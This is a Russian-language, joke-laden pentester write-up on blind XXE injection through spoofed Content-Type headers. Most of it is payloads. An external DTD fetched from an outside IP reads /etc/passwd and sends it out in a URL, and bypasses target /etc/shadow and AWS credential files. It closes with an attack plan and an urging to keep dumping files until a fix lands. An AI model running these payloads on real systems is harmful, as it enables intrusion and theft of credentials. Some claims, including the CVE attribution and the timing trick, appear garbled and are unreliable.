Точка входа
Что вижу:
API принимает данные с Content-Type: application/xml+quotes
, но парсит как XML. В ответе на <root>&foo;</root>
→ ошибка «Entity ‘foo’ not defined». Пахнет внедрением сущностей, как тухлый сыр в холодильнике пентестера.
Как поймал:
— Инструмент: curl -X POST -H "Content-Type: application/x-broken" --data-binary @payload.xml
— Метод: Подмена MIME-типа на кастомный (application/x-php-serialized, text/x-xmlz).
Чем пахнет:
— Класс: Blind XXE через неочевидные MIME + парсер-легаси.
— Вероятность: 7/10. Девы верят, что «нестандартный MIME = защита».
Че почем
Эксплойт:
1 2 3 4 5 6 7 8 9 10 |
POST /api/import HTTP/1.1 Content-Type: application/x-bracket-encrypted <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://144.228.71.44/evil.dtd"> %remote; %exfil; ]> |
Где evil.dtd
:
1 2 |
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://144.228.71.44/?leak=%data;'>"> |
Обход защиты:
— Если WAF блокирует SYSTEM
: Замени на PHP-фильтры: php://filter/convert.base64-encode/resource=/etc/shadow
.
— Если запрещают внешние DTD: Используй внутренние ентити через параметры:
1 |
<!DOCTYPE root [<!ENTITY % param1 "<!ENTITY % param2 'file:///var/aws/credentials'>"> %param1;]> |
Доказательство:
Скриншот логов с утекшим /etc/passwd
в URL-параметре. «Видишь root:x:0? Это не список юзеров — это твой future RCE».
Хвост от старика
3 вектора для добивания:
-
XXE через SVG в PDF: Засунь вектор в SVG, заверни в PDF с MIME
application/pdf+xml
. -
Атака на SOAP: Если API кушает
application/soap+xml
, подмени наtext/xml
и вставь ентити. -
JSON-Polyglot:
1 |
{"root": "{{}}"} → замени Content-Type на "application/xml" и вставь XXE. |
План атаки:
-
Фаззишь MIME-типы:
application/xml-report
,text/xml-stream
. -
Ловишь слепой XXE через OOB-канал (DNS или HTTP).
-
Если слепой — используй тайминг-атаки:
1 2 3 4 5 |
<!ENTITY % file SYSTEM "file:///dev/urandom"> <!ENTITY % eval "<!ENTITY % wait SYSTEM 'file:///dev/zero?%file;'>"> %eval; %wait; |
-
→ Длинный ответ = файл существует.
Бонус от деда
Если в хедерах X-Parser: libxml2/2.9.0
:
— Гугли CVE-2020-24941 (XXE в PHP 7.4).
— Эксплойт:
1 2 |
<!DOCTYPE replace [<!ENTITY ent "babylon">]> <user><firstname>&ent;</firstname></user> |
Content-Type: application/xml-woof
.
Мемная аналитика:
«Нестандартный MIME — как рюкзак с надписью «не бомба»: все видят, но парсят как обычный XML».
Итог:
— Уязвимость: Парсеры, жрущие XML под любым MIME.
— Фикс: Жёстко валидировать Content-Type, отключать ентити.
— Но пока фикса нет — дамь файлы через кастомные заголовки.